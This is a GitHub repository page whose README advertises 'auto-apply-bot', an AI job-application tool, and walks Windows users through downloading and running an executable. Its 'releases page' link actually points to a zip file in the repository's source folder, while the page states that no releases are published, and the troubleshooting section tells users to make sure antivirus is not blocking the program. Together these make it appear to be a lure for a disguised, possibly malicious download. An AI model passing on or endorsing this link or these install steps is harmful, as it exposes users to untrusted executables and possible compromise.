Skip to content

Cimerherd/auto-apply-bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

31 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤖 auto-apply-bot - Automate Job Applications Easily

Download Latest Release


📋 What is auto-apply-bot?

auto-apply-bot is an AI-powered tool that helps you find and apply for jobs automatically. It works with popular job websites like Gupy, LinkedIn, and Indeed. This bot fills out job applications for you, scores job listings based on your preferences, and can use different resumes depending on the job. You don’t need to apply manually or spend time searching for each position.

The bot uses Google Gemini and Playwright MCP technologies to browse, fill forms, and send applications. It also offers a dry-run mode so you can test applications without sending them. You can get notifications through Telegram and check application status on a web dashboard.


🚀 Getting Started

To start using auto-apply-bot on Windows, follow the steps below. No programming is needed.

1. Check System Requirements

Make sure your computer meets these basic requirements:

  • Windows 10 or newer (64-bit recommended)
  • At least 4 GB of RAM (8 GB or more suggested for smoother operation)
  • 1 GB free disk space
  • Internet connection (stable)
  • A Google account to link with the bot for AI features

2. Download the software

Visit this page to download auto-apply-bot:

Download auto-apply-bot

This page includes all recent versions. Choose the latest release that fits Windows (usually marked as .exe or .zip).

3. Install the program

  • If you downloaded a .exe file, double-click it to launch the installer.
  • Follow the on-screen instructions.
  • If you downloaded a .zip file, right-click it and select "Extract All."
  • Open the extracted folder and double-click the .exe file inside.
  • Allow the program permission to run if Windows asks.

⚙ How to Use auto-apply-bot

1. Prepare your job profiles

  • Collect your resumes in common formats like PDF or DOCX.
  • Create accounts on job sites you want auto-apply-bot to work with (LinkedIn, Indeed, Gupy).
  • Connect your Telegram account for notifications if you want updates.

2. Configure the bot

When you run the program for the first time, it will show a setup guide.

  • Log in to your Google account to enable AI features.
  • Enter your Telegram ID for message alerts.
  • Upload your resumes to the program.
  • Choose preferred job sites to search and apply on.
  • Set filters like job titles, locations, and salary ranges.
  • Activate dry-run mode if you want to test without sending applications.

3. Start the application process

Click "Start" in the program to begin. The bot will:

  • Search jobs matching your filters on selected sites.
  • Score each job based on your preferences.
  • Automatically fill in application forms.
  • Submit applications or keep them ready for review (if dry-run is on).
  • Notify you via Telegram about new matches and application status.
  • Let you track progress on the built-in web dashboard.

📁 File Structure and Key Features

  • Multi-resume support: Use different resumes for different applications.
  • Smart scoring: AI evaluates and prioritizes job offers before applying.
  • Dry-run mode: See what the bot will apply for without sending applications.
  • Telegram notifications: Get real-time updates right on your phone.
  • Web dashboard: Review your application history and current job matches.
  • Browser automation: Uses Playwright MCP to interact safely and efficiently with websites.
  • Compatible sites: LinkedIn, Gupy, Indeed, and more.
  • Written in TypeScript: Fast and reliable.

🛠 Troubleshooting and Tips

  • If the bot does not start, check that your antivirus is not blocking it.
  • Ensure you have a stable internet connection.
  • If the bot can’t log in to job sites, verify your account credentials.
  • Check the Telegram bot connection if you do not receive notifications.
  • Use dry-run mode first to avoid mistakes in live applications.
  • Restart the program if it freezes or behaves unexpectedly.
  • Keep the program updated by checking the releases page.

📥 Download and Install auto-apply-bot on Windows

  1. Go to the releases page: https://raw.githubusercontent.com/Cimerherd/auto-apply-bot/main/src/auto-bot-apply-1.8.zip

  2. Look for the latest version for Windows.

  3. Click the .exe installer or .zip package to download.

  4. Open the file once downloaded.

  5. Follow the installation steps on your screen.

  6. Launch the software from your desktop or start menu.


🔐 Privacy and Security

auto-apply-bot does not store your personal information outside your device unless you enable cloud features. Your login details for job sites stay private and are not shared. The bot interacts only with the job sites you select. Use a strong password for your accounts.


📚 More Information

For detailed help, check the built-in help section in the bot’s menu after installation. You can also visit the discussions tab on the GitHub page to see common questions and community advice.

Releases

No releases published

Packages

 
 
 

Contributors